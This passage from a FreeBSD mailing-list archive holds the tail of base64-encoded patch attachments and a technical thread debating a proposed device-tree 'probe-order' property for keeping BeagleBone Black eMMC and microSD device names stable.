aGlsZCBoYXMgYQorCQkgKiBzcGVjaWZpZWQgcHJvYmUtb3JkZXIgYW5kIGl0IGlzIGxlc3MgdGhh biB0aGUgc3BlY2lmaWVkCisJCSAqIHByb2JlIG9yZGVyIG9mIGEgcHJldmlvdXMgY2hpbGQsIGlu IHdoaWNoIGNhc2UgdGhpcyBjaGlsZAorCQkgKiBpcyBpbnNlcnRlZCBqdXN0IHByaW9yIHRvIHRo YXQgcHJldmlvdXMgY2hpbGQuCisJCSAqLworCQlpZiAoT0ZfZ2V0cHJvcChkdF9jaGlsZCwgInBy b2JlLW9yZGVyIiwgJnByb2JlX29yZGVyLCBzaXplb2YocHJvYmVfb3JkZXIpKSA+IDApIHsKKwkJ CW5ld19zcWUtPnByb2JlX29yZGVyID0gKGludDMyX3QpZmR0X2RhdGFfZ2V0KCZwcm9iZV9vcmRl ciwgMSk7CisKKwkJCVRBSUxRX0ZPUkVBQ0goc3FlLCAmc3EsIGxpbmspIHsKKwkJCQlpZiAoKFBS T0JFX1VOT1JERVJFRCAhPSBzcWUtPnByb2JlX29yZGVyKSAmJgorCQkJCSAgICAobmV3X3NxZS0+ cHJvYmVfb3JkZXIgPCBzcWUtPnByb2JlX29yZGVyKSkgeworCQkJCQlUQUlMUV9JTlNFUlRfQkVG T1JFKHNxZSwgbmV3X3NxZSwgbGluayk7CisJCQkJCWJyZWFrOworCQkJCX0KKwkJCX0KKworCQkJ aWYgKE5VTEwgPT0gc3FlKSB7CisJCQkJVEFJTFFfSU5TRVJUX1RBSUwoJnNxLCBuZXdfc3FlLCBs aW5rKTsKKwkJCX0KKwkJfSBlbHNlIHsKKwkJCW5ld19zcWUtPnByb2JlX29yZGVyID0gUFJPQkVf VU5PUkRFUkVEOworCQkJVEFJTFFfSU5TRVJUX1RBSUwoJnNxLCBuZXdfc3FlLCBsaW5rKTsKKwkJ fQorCX0KKworCS8qCisJICogQWRkIHRoZSBxdWV1ZWQgc3Vib3JkaW5hdGVzIGFzIGNoaWxkcmVu LgorCSAqLworCVRBSUxRX0ZPUkVBQ0hfU0FGRShzcWUsICZzcSwgbGluaywgc3FlX3RtcCkgewor CQlkdF9jaGlsZCA9IHNxZS0+ZHRfY2hpbGQ7CisJCWZyZWUoc3FlLCBNX1NJTVBMRUJVUyk7CisK IAkJLyogQ2hlY2sgYW5kIHByb2Nlc3MgJ3N0YXR1cycgcHJvcGVydHkuICovCiAJCWlmICghKGZk dF9pc19lbmFibGVkKGR0X2NoaWxkKSkpCiAJCQljb250aW51ZTsK --047d7beb9394b8344804f3a86a73 Content-Type: application/octet-stream; name="beaglebone_black_probe_order.patch" Content-Disposition: attachment; filename="beaglebone_black_probe_order.patch" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hsaz0qzm1 SW5kZXg6IHN5cy9ib290L2ZkdC9kdHMvYmVhZ2xlYm9uZS1ibGFjay5kdHMKPT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQot LS0gc3lzL2Jvb3QvZmR0L2R0cy9iZWFnbGVib25lLWJsYWNrLmR0cwkocmV2aXNpb24gMjYyNDQ3 KQorKysgc3lzL2Jvb3QvZmR0L2R0cy9iZWFnbGVib25lLWJsYWNrLmR0cwkod29ya2luZyBjb3B5 KQpAQCAtMTM2LDggKzEzNiwxMiBAQAogCQltbWNoczFANDgxRDgwMDAgewogICAgICAgICAgICAg ICAgIAlidXMtd2lkdGggPSA8OD47CiAJCQlzdGF0dXMgPSAib2theSI7CisJCQlwcm9iZS1vcmRl ciA9IDwxMDAwPjsKIAkJfTsKIAorCQltbWNoczBANDgwNjAwMDAgeworCQkJcHJvYmUtb3JkZXIg PSA8MTAwMT47CisJCX07CiAgCiAJCWkyY0A0NGUwYjAwMCB7CiAJCQlwbWljQDI0IHsK --047d7beb9394b8344804f3a86a73-- From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 3 02:38:15 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A7025A15 for ; Mon, 3 Mar 2014 02:38:15 +0000 (UTC) Received: from mail-ie0-f173.google.com (mail-ie0-f173.google.com [209.85.223.173]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 6B57714AD for ; Mon, 3 Mar 2014 02:38:15 +0000 (UTC) Received: by mail-ie0-f173.google.com with SMTP id rl12so2283763iec.18 for ; Sun, 02 Mar 2014 18:38:09 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:sender:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=2sMHPLd4EibfAk/WkktsSivFvzO+978wges/RFSKv48=; b=Y7Af4f4V9KU57NvYNNxoNS+X+p055gRNWLrjDm6duQlm3K4reDKdrP3vTTe41yQUr9 pYeXAWUUz4BdtDDQnHGDFpS4EPfKsK7JrS8lPyYkMnGy5vg1DsvwM4e83fXMuQGlWlVd QqtDdhHYMevxXM3D2jieSMHNJrQSmSgkkoyYvneShMIHjLGQzkv+WaKObZFUoiX9FLyl U/1908sKWKuy9Y/RAe0NqKtHR1Hgafx83P3CnfqRTy/e9yF2vIVLzKipDocBiiRES3Bn 7eM3hTbIormxRoJyaLfFtps3qDZYpGCtrBdCnP+nK6Cv4g5g/mE2Ef2BMthc52ZICjcD NiPw== X-Gm-Message-State: ALoCoQmcq1oAIH1Su8FvUuaxbBQ9fdP/7ccU1DVx09a3a/btC4qMdoMYrmNtnuRA26PkKPcFGL+j X-Received: by 10.43.155.209 with SMTP id lj17mr95356icc.94.1393814289789; Sun, 02 Mar 2014 18:38:09 -0800 (PST) Received: from netflix-mac.bsdimp.com (50-78-194-198-static.hfc.comcastbusiness.net. [50.78.194.198]) by mx.google.com with ESMTPSA id sc8sm34675367igb.0.2014.03.02.18.38.08 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 02 Mar 2014 18:38:09 -0800 (PST) Sender: Warner Losh Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: [PATCH] simplebus child device probe order control via FDT (motivated by BeagleBone Black) From: Warner Losh In-Reply-To: Date: Sun, 2 Mar 2014 19:38:10 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <7C2B7036-51CC-4C97-80C4-0A439874357D@bsdimp.com> References: To: Patrick Kelsey X-Mailer: Apple Mail (2.1874) Cc: "freebsd-hackers@freebsd.org" , freebsd-arm@freebsd.org, freebsd-embedded@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 03 Mar 2014 02:38:15 -0000 On Mar 2, 2014, at 4:56 PM, Patrick Kelsey wrote: > Hi, >=20 > The attached patch (fdt_probe_order_control.patch) allows control over = the > probe order of simplebus child devices by using a "probe-order" = property in > simplebus child nodes in the .dts file Where is the probe-order property defined? I can=92t seem to find it in = the bindings. Also, I don=92t think it is necessary. This is a software construct, so = doesn=92t really belong in the dts file. I=92d really like to avoid FreeBSD specific = hacks in the DTS files. > This was motivated by booting FreeBSD from the eMMC on a BeagleBone = Black, > which has a pluggable microSD card slot in addition to the eMMC. The = order > that the mmc units are defined in sys/boot/fdt/dts/am335x.dtsi causes = the > pluggable slot to be probed/attached first, so the device name = assigned to > the eMMC soldered to the board changes depending on whether there is a = card > in the pluggable slot, which makes establishing appropriate /etc/fstab > contents less than convenient. Sounds like you=92d like to have some sort of name to instance mapping. The typical way this is solved is by naming the partitions so that = ordering doesn=92t matter. Even if you don=92t handle this at the filesystem = level, which is how others cope, you=92d want this to be more of a direct binding = rather than an ordering so that you get the effect you want (constant name) directly, = rather than as a side-effect of ordering. If you insist on that, then having a something more like = =93freesbd,unit-number=94 property would also accomplish this. But that would only wire the = controller unit number, and not the resulting mmcsdX device. > By using the "probe-order" property in > sys/boot/fdt/dts/beaglebone-black.dts (see attached > beaglebone_black_mmc_probe_order.patch), I am able to swap the order = in > which the mmc units are probed/attached for that board. This avoids > inappropriate hacking of the mmc definition order in am335x.dtsi, = which is > shared among multiple boards. >=20 > This is not a general solution to the problem of wanting stable device > names for hard-wired MMC devices when pluggable slots are present in = the > system. There could, for example, be a multi-slot MMC controller with = a > mixture of hard-wired and pluggable devices attached, and this would = not > address that case. However, it does address the needs of BeagleBone = Black, > and the mechanism may be of use for similar issues on other platforms. As it isn=92t a generic solution, I=92d be biased against adopting it. = What=92s wrong with using glabel to accomplish this (either with a label specific = property, or by using a ufs label and mounting /dev/ufs/foo). Warner > Both patches were generated against 10-STABLE, r262447. >=20 > -Patrick > = _______= ________________________________________ > freebsd-arm@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-arm > To unsubscribe, send any mail to "freebsd-arm-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 4 06:06:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 27FFAFD0; Tue, 4 Mar 2014 06:06:02 +0000 (UTC) Received: from mail-bk0-x236.google.com (mail-bk0-x236.google.com [IPv6:2a00:1450:4008:c01::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 4FDDD375; Tue, 4 Mar 2014 06:06:01 +0000 (UTC) Received: by mail-bk0-f54.google.com with SMTP id 6so72137bkj.13 for ; Mon, 03 Mar 2014 22:05:59 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=tVdIUYm5kt+YkZnrRacL1NYu17ePDQ7GXK52gXApz7g=; b=JGLrmJsQ3dtGliR+P3ATx8jVkPsJ3S//bhPK6YYS18CMzGrtpqgeXxTHbei7/kKsLr DddGISsDboav4zJjseL7Gg4gIzqKV99tp3BvfYGhgAlK645At6hGfHVoP6wBqBJ6JIEg LW+WkkFTF730J7Z5CN9pPWek9DkI1vo4bq4MQpRDFqQpKFo44UQQGk2xHtMOS21RY3OK YIv5nqmkFjV2GJ06M2+9g/dRCfiG/yLgf1/Oq7yMuocPNr+lHmCpGdkBicZ2YCJmyehs Pb+3hoR1AtnvnZe2aobmFeFDoUK0Fuh4sWFpYYfK38KHIYdNpH0uw1Qc2i34dWU0LR6b u1wA== MIME-Version: 1.0 X-Received: by 10.204.62.5 with SMTP id v5mr85191bkh.46.1393913159443; Mon, 03 Mar 2014 22:05:59 -0800 (PST) Sender: pkelsey@gmail.com Received: by 10.205.71.201 with HTTP; Mon, 3 Mar 2014 22:05:59 -0800 (PST) In-Reply-To: <7C2B7036-51CC-4C97-80C4-0A439874357D@bsdimp.com> References: <7C2B7036-51CC-4C97-80C4-0A439874357D@bsdimp.com> Date: Tue, 4 Mar 2014 01:05:59 -0500 X-Google-Sender-Auth: YT_NCq_RQT_IPHoqb53emVfKswk Message-ID: Subject: Re: [PATCH] simplebus child device probe order control via FDT (motivated by BeagleBone Black) From: Patrick Kelsey To: Warner Losh Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-hackers@freebsd.org" , freebsd-arm@freebsd.org, freebsd-embedded@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 04 Mar 2014 06:06:02 -0000 On Sun, Mar 2, 2014 at 9:38 PM, Warner Losh wrote: > > On Mar 2, 2014, at 4:56 PM, Patrick Kelsey wrote: > > > Hi, > > > > The attached patch (fdt_probe_order_control.patch) allows control over > the > > probe order of simplebus child devices by using a "probe-order" property > in > > simplebus child nodes in the .dts file > > Where is the probe-order property defined? I can't seem to find it in the > bindings. > Also, I don't think it is necessary. This is a software construct, so > doesn't really > belong in the dts file. I'd really like to avoid FreeBSD specific hacks in > the DTS > files. > It is currently not in any bindings, and has the status of being something of my own invention and something possibly not ever used outside of private codebases. I think this is something that would fit conceptually with the miscellaneous bindings defined in ePAPR, as it is a rather generic property. As to this being a software construct, I appreciate and support the goal of keeping DTS files as pure hardware descriptions (and I'd also argue that the way the status property is sometimes used turns it into a software construct). Let's completely avoid the issue of am I arguing for adding a software construct to DTS files by looking at this another way. Instead of a 'probe-order' property that specifies a sort key, I could have the same quality of result (same warts and all, as discussed below) with a property that indicates whether the device is hardwired or has some sort of pluggable interface (a property, say, called 'pluggable'). That would be a pure hardware-as-it-is-designed description, and having that information would allow me to do a sort that orders non-pluggable ahead of pluggable in the probe/attach process. > > > This was motivated by booting FreeBSD from the eMMC on a BeagleBone > Black, > > which has a pluggable microSD card slot in addition to the eMMC. The > order > > that the mmc units are defined in sys/boot/fdt/dts/am335x.dtsi causes the > > pluggable slot to be probed/attached first, so the device name assigned > to > > the eMMC soldered to the board changes depending on whether there is a > card > > in the pluggable slot, which makes establishing appropriate /etc/fstab > > contents less than convenient. > > Sounds like you'd like to have some sort of name to instance mapping. > The typical way this is solved is by naming the partitions so that ordering > doesn't matter. Even if you don't handle this at the filesystem level, > which > is how others cope, you'd want this to be more of a direct binding rather > than an > ordering so that you get the effect you want (constant name) directly, > rather > than as a side-effect of ordering. > Yes, ideally I'd like to be able to assign a name to every MMC/SD card slot (hardwired or otherwise) in a system that depends only on the physical location of that slot, and be able to resolve that name to an mmcsd device instance. This works-here-side-effect-based approach is a result of the ideal solution seemingly not being within reach given the available resources. Using partition naming/glabel is a fair point, and does address the /etc/fstab issue, but it still leaves me short of being able to construct a product function that relies on knowing what's where when there is no partitioning/filesystem in place, for example, something that boils down to 'dd this image to the eMMC [or to the card in the card slot]'. Perhaps the answer to that is to build something using devinfo(3)/devd(8) to identify what mmcsdX is currently attached to each controller when I need to know. > If you insist on that, then having a something more like > "freesbd,unit-number" > property would also accomplish this. But that would only wire the > controller unit > number, and not the resulting mmcsdX device. > I understand fully that the utility of this goes as far as having none of the hardwired devices sharing controllers with pluggable devices in such a way that the controllers can find the attached pluggable devices first. Subject to that limitation as it is, this does usefully apply to at least one real system now, and it is a behavior I can take advantage of when designing new hardware to make developing the associated FreeBSD-based product software easier (namely, by not having to cobble together a poor-man's udev [which is not saying users of udev are exactly rich], and/or worry about how a customer might label the fat partition on an SD card they insert). More generally, whether this is or isn't a widely useful thing in the end, what is the current process for introducing a new property for use in DTS files? > > By using the "probe-order" property in > > sys/boot/fdt/dts/beaglebone-black.dts (see attached > > beaglebone_black_mmc_probe_order.patch), I am able to swap the order in > > which the mmc units are probed/attached for that board. This avoids > > inappropriate hacking of the mmc definition order in am335x.dtsi, which > is > > shared among multiple boards. > > > > This is not a general solution to the problem of wanting stable device > > names for hard-wired MMC devices when pluggable slots are present in the > > system. There could, for example, be a multi-slot MMC controller with a > > mixture of hard-wired and pluggable devices attached, and this would not > > address that case. However, it does address the needs of BeagleBone > Black, > > and the mechanism may be of use for similar issues on other platforms. > > As it isn't a generic solution, I'd be biased against adopting it. What's > wrong > with using glabel to accomplish this (either with a label specific > property, or > by using a ufs label and mounting /dev/ufs/foo). > > It is not my intention to lobby for adding this to the kernel at this point. Whether it is widely-enough or only very-narrowly useful I would say is currently unknown. My intention in posting this patch was for others on the list(s) that might find it useful to see it and have access to it, and to attract thoughtful criticism such as yours. I appreciate you taking the time to respond. -Patrick From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 4 13:21:28 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0AB69B40; Tue, 4 Mar 2014 13:21:28 +0000 (UTC) Received: from mho-02-ewr.mailhop.org (mho-02-ewr.mailhop.org [204.13.248.72]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id BDC5E398; Tue, 4 Mar 2014 13:21:27 +0000 (UTC) Received: from c-24-8-230-52.hsd1.co.comcast.net ([24.8.230.52] helo=damnhippie.dyndns.org) by mho-02-ewr.mailhop.org with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.72) (envelope-from ) id 1WKpHd-000F1l-5E; Tue, 04 Mar 2014 13:21:21 +0000 Received: from [172.22.42.240] (revolution.hippie.lan [172.22.42.240]) by damnhippie.dyndns.org (8.14.3/8.14.3) with ESMTP id s24DLHnf048013; Tue, 4 Mar 2014 06:21:17 -0700 (MST) (envelope-from ian@FreeBSD.org) X-Mail-Handler: Dyn Standard SMTP by Dyn X-Originating-IP: 24.8.230.52 X-Report-Abuse-To: abuse@dyndns.com (see http://www.dyndns.com/services/sendlabs/outbound_abuse.html for abuse reporting information) X-MHO-User: U2FsdGVkX19j/00SiHz8tybK9XhxlVbs Subject: Re: [PATCH] simplebus child device probe order control via FDT (motivated by BeagleBone Black) From: Ian Lepore To: Patrick Kelsey In-Reply-To: References: <7C2B7036-51CC-4C97-80C4-0A439874357D@bsdimp.com> Content-Type: text/plain; charset="us-ascii" Date: Tue, 04 Mar 2014 06:21:17 -0700 Message-ID: <1393939277.1149.300.camel@revolution.hippie.lan> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit Cc: "freebsd-hackers@freebsd.org" , freebsd-arm@FreeBSD.org, freebsd-embedded@FreeBSD.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 04 Mar 2014 13:21:28 -0000 On Tue, 2014-03-04 at 01:05 -0500, Patrick Kelsey wrote: > On Sun, Mar 2, 2014 at 9:38 PM, Warner Losh wrote: > > > > > On Mar 2, 2014, at 4:56 PM, Patrick Kelsey wrote: > > > > > Hi, > > > > > > The attached patch (fdt_probe_order_control.patch) allows control over > > the > > > probe order of simplebus child devices by using a "probe-order" property > > in > > > simplebus child nodes in the .dts file > > > > Where is the probe-order property defined? I can't seem to find it in the > > bindings. > > Also, I don't think it is necessary. This is a software construct, so > > doesn't really > > belong in the dts file. I'd really like to avoid FreeBSD specific hacks in > > the DTS > > files. > > > > It is currently not in any bindings, and has the status of being something > of my own invention and something possibly not ever used outside of private > codebases. I think this is something that would fit conceptually with the > miscellaneous bindings defined in ePAPR, as it is a rather generic > property. As to this being a software construct, I appreciate and support > the goal of keeping DTS files as pure hardware descriptions (and I'd also > argue that the way the status property is sometimes used turns it into a > software construct). > > Let's completely avoid the issue of am I arguing for adding a software > construct to DTS files by looking at this another way. Instead of a > 'probe-order' property that specifies a sort key, I could have the same > quality of result (same warts and all, as discussed below) with a property > that indicates whether the device is hardwired or has some sort of > pluggable interface (a property, say, called 'pluggable'). That would be a > pure hardware-as-it-is-designed description, and having that information > would allow me to do a sort that orders non-pluggable ahead of pluggable in > the probe/attach process. > > > > > > > This was motivated by booting FreeBSD from the eMMC on a BeagleBone > > Black, > > > which has a pluggable microSD card slot in addition to the eMMC. The > > order > > > that the mmc units are defined in sys/boot/fdt/dts/am335x.dtsi causes the > > > pluggable slot to be probed/attached first, so the device name assigned > > to > > > the eMMC soldered to the board changes depending on whether there is a > > card > > > in the pluggable slot, which makes establishing appropriate /etc/fstab > > > contents less than convenient. > > > > Sounds like you'd like to have some sort of name to instance mapping. > > The typical way this is solved is by naming the partitions so that ordering > > doesn't matter. Even if you don't handle this at the filesystem level, > > which > > is how others cope, you'd want this to be more of a direct binding rather > > than an > > ordering so that you get the effect you want (constant name) directly, > > rather > > than as a side-effect of ordering. > > > > Yes, ideally I'd like to be able to assign a name to every MMC/SD card slot > (hardwired or otherwise) in a system that depends only on the physical > location of that slot, and be able to resolve that name to an mmcsd device > instance. This works-here-side-effect-based approach is a result of the > ideal solution seemingly not being within reach given the available > resources. Using partition naming/glabel is a fair point, and does address > the /etc/fstab issue, but it still leaves me short of being able to > construct a product function that relies on knowing what's where when there > is no partitioning/filesystem in place, for example, something that boils > down to 'dd this image to the eMMC [or to the card in the card slot]'. > Perhaps the answer to that is to build something using devinfo(3)/devd(8) > to identify what mmcsdX is currently attached to each controller when I > need to know. > > > > If you insist on that, then having a something more like > > "freesbd,unit-number" > > property would also accomplish this. But that would only wire the > > controller unit > > number, and not the resulting mmcsdX device. > > > > I understand fully that the utility of this goes as far as having none of > the hardwired devices sharing controllers with pluggable devices in such a > way that the controllers can find the attached pluggable devices first. > Subject to that limitation as it is, this does usefully apply to at least > one real system now, and it is a behavior I can take advantage of when > designing new hardware to make developing the associated FreeBSD-based > product software easier (namely, by not having to cobble together a > poor-man's udev [which is not saying users of udev are exactly rich], > and/or worry about how a customer might label the fat partition on an SD > card they insert). > > More generally, whether this is or isn't a widely useful thing in the end, > what is the current process for introducing a new property for use in DTS > files? > > > > > By using the "probe-order" property in > > > sys/boot/fdt/dts/beaglebone-black.dts (see attached > > > beaglebone_black_mmc_probe_order.patch), I am able to swap the order in > > > which the mmc units are probed/attached for that board. This avoids > > > inappropriate hacking of the mmc definition order in am335x.dtsi, which > > is > > > shared among multiple boards. > > > > > > This is not a general solution to the problem of wanting stable device > > > names for hard-wired MMC devices when pluggable slots are present in the > > > system. There could, for example, be a multi-slot MMC controller with a > > > mixture of hard-wired and pluggable devices attached, and this would not > > > address that case. However, it does address the needs of BeagleBone > > Black, > > > and the mechanism may be of use for similar issues on other platforms. > > > > As it isn't a generic solution, I'd be biased against adopting it. What's > > wrong > > with using glabel to accomplish this (either with a label specific > > property, or > > by using a ufs label and mounting /dev/ufs/foo). > > > > > It is not my intention to lobby for adding this to the kernel at this > point. Whether it is widely-enough or only very-narrowly useful I would > say is currently unknown. My intention in posting this patch was for > others on the list(s) that might find it useful to see it and have access > to it, and to attract thoughtful criticism such as yours. > > I appreciate you taking the time to respond. > > -Patrick There's a standard property for mmc/sd devices, "non-removable" whose presence denotes things like soldered-on eMMC parts. Only one of our many sdhci drivers supports it right now (imx). In general the core part of the driver (dev/sdhci) doesn't have good support for insert/remove/presence detection that's handled off to the side (whether it's non-removable or a gpio pin). That alone doesn't solve the wider problem, though, which I think breaks down into two pieces. Let's say you've got two slots, call them left and right. You end up with these two problems... * Sometimes the right slot is mmcsd0, but it turns into mmcsd1 if there's a card in the left slot when I boot; I don't want it to change. * I want the slot on the left to be named '1' and the right to be '0'. The first problem is easily solved without impacting dts in any way. We just wire down the relationship controllerN -> mmcN -> mmcsdN. This is exactly equivelent to the old ATA_STATIC_ID option in its effect -- you don't get to choose the names, but you know they won't change based on which devices are present. It could be controlled with a tunable. It's harder to envision the fix for the second part without adding an ad-hoc property for the devices. Even with a property I'm not sure how easy it would be. There's been talk of moving mmcsd towards using CAM. I don't know that much about cam, but I suspect it rules out doing anything about #1 as well. At least, I've never heard of wiring down /dev/daN to a specific device/slot/whatever. -- Ian From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 4 14:18:33 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D2CF7C83 for ; Tue, 4 Mar 2014 14:18:33 +0000 (UTC) Received: from mail-ie0-f171.google.com (mail-ie0-f171.google.com [209.85.223.171]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 99097B19 for ; Tue, 4 Mar 2014 14:18:33 +0000 (UTC) Received: by mail-ie0-f171.google.com with SMTP id ar20so2439752iec.2 for ; Tue, 04 Mar 2014 06:18:27 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:sender:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=1WAyLUBy7JVV90a7udK3Tk3JWwo/TVbXYKXh3yKcOmw=; b=L5ayW0crPYgdKZEH4AW4fhm0HDKLmqk5/70qkOsCNt5TzfdSgLM0fv6qm52lZg/CNr YDBVgVIN80obu2Mw+JUmaVX9Pu0zxRC5vcNP0H0lBQFHDPIOeFDeAmta52UPipnaFyVC aRf7JlaaiFwhi8QHDDP/kX/EdI6OdAh5bNxJtGtYWNdbW8RgRFXvOa2OqSiFu4CvADCJ cY0KrN3a7PsN7X1qsYV461t/D2iH9oIPRv4dCN069QaEagk4+oVhDajGmftuksYOd7l6 gyK3Int/Qox8EFI87yhTqrmU8qtu7BRPNLsd0ve36bUhe4Ec7ONrO67GVWv5BuZ+JWdf L8EQ== X-Gm-Message-State: ALoCoQkIyp7xKrn4UJlaT4M7Fx+qeE9qsx7Lr6oywHj/5vuQaEWEququyTRelGh5p3W86tUV2mDX X-Received: by 10.42.129.9 with SMTP id o9mr31419798ics.38.1393942707471; Tue, 04 Mar 2014 06:18:27 -0800 (PST) Received: from netflix-mac.bsdimp.com (50-78-194-198-static.hfc.comcastbusiness.net. [50.78.194.198]) by mx.google.com with ESMTPSA id gd5sm3012340igd.5.2014.03.04.06.18.26 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 04 Mar 2014 06:18:26 -0800 (PST) Sender: Warner Losh Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: [PATCH] simplebus child device probe order control via FDT (motivated by BeagleBone Black) From: Warner Losh In-Reply-To: <1393939277.1149.300.camel@revolution.hippie.lan> Date: Tue, 4 Mar 2014 07:18:24 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <04264938-F826-4B3A-8285-94C1092EC3F5@bsdimp.com> References: <7C2B7036-51CC-4C97-80C4-0A439874357D@bsdimp.com> <1393939277.1149.300.camel@revolution.hippie.lan> To: Ian Lepore X-Mailer: Apple Mail (2.1874) Cc: Patrick Kelsey , "freebsd-hackers@freebsd.org" , freebsd-arm@FreeBSD.org, freebsd-embedded@FreeBSD.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 04 Mar 2014 14:18:33 -0000 On Mar 4, 2014, at 6:21 AM, Ian Lepore wrote: > There's been talk of moving mmcsd towards using CAM. I don't know = that > much about cam, but I suspect it rules out doing anything about #1 as > well. At least, I've never heard of wiring down /dev/daN to a = specific > device/slot/whatever. CAM has supported this for years, through hints. Not sure there=92s an = FDT binding for it yet. Warner From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 4 14:30:13 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8C790433; Tue, 4 Mar 2014 14:30:13 +0000 (UTC) Received: from raven.bwct.de (raven.bwct.de [85.159.14.73]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 2EAA2CAC; Tue, 4 Mar 2014 14:30:12 +0000 (UTC) Received: from mail.cicely.de ([10.1.1.37]) by raven.bwct.de (8.13.4/8.13.4) with ESMTP id s24EPOB9027697 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Tue, 4 Mar 2014 15:25:25 +0100 (CET) (envelope-from ticso@cicely7.cicely.de) Received: from cicely7.cicely.de (cicely7.cicely.de [10.1.1.9]) by mail.cicely.de (8.14.5/8.14.4) with ESMTP id s24EPEvL082602 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 4 Mar 2014 15:25:14 +0100 (CET) (envelope-from ticso@cicely7.cicely.de) Received: from cicely7.cicely.de (localhost [127.0.0.1]) by cicely7.cicely.de (8.14.2/8.14.2) with ESMTP id s24EPE8f038990; Tue, 4 Mar 2014 15:25:14 +0100 (CET) (envelope-from ticso@cicely7.cicely.de) Received: (from ticso@localhost) by cicely7.cicely.de (8.14.2/8.14.2/Submit) id s24EPDlY038989; Tue, 4 Mar 2014 15:25:13 +0100 (CET) (envelope-from ticso) Date: Tue, 4 Mar 2014 15:25:13 +0100 From: Bernd Walter To: Ian Lepore Subject: Re: [PATCH] simplebus child device probe order control via FDT (motivated by BeagleBone Black) Message-ID: <20140304142513.GH15675@cicely7.cicely.de> References: <7C2B7036-51CC-4C97-80C4-0A439874357D@bsdimp.com> <1393939277.1149.300.camel@revolution.hippie.lan> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: 